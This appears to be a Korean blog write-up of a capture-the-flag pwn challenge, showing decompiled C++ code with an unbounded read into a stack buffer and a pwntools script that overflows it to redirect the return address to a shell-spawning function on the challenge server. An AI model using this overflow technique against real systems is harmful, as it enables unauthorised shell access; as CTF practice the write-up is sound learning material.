amoogotomollayo 2022. 3. 23. 19:50

이번 문제도 C++ 문제입니다.

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  __int64 v4; // rax
  __int64 v5; // rdx
  __int64 v6; // rbx
  char *v7; // rax
  __int64 v8; // rdx
  __int64 v9; // rax
  char name[1040]; // [rsp+0h] [rbp-410h] BYREF

  std::operator<<<std::char_traits<char>>(&_bss_start, "Which environment variable do you want to read? ", envp);
  std::operator>><char,std::char_traits<char>>(&std::cin, name);
  v4 = std::operator<<<std::char_traits<char>>(&_bss_start, name, v3);
  v6 = std::operator<<<std::char_traits<char>>(v4, "=", v5);
  v7 = getenv(name);
  v9 = std::operator<<<std::char_traits<char>>(v6, v7, v8);
  std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
  return 0;
}

사용자가 입력한 값이 환경변수이면 해당 내용을 출력하는 프로그램입니다.

맨 처음에는 환경변수를 이용하는 문제인가라고 생각했지만 함수를 보다 보니 spawn_shell이라는 함수를 발견했습니다.

그래서 BOF를 통해 RET를 변조하면 되는 문제입니다.

 

name + SFP + spawn_shell 페이로드를 입력하면 문제를 해결할 수 있습니다.

 

코드와 결과는 아래와 같습니다.

from pwn import *

context.log_level = 'debug'

r = remote("ctf.j0n9hyun.xyz", 3013)

flag = 0x0000000000400897

payload = b"A" * 0x410 + b"B" * 0x8 + p64(flag)

r.sendline(payload)
r.recv()
r.recv()

r.interactive()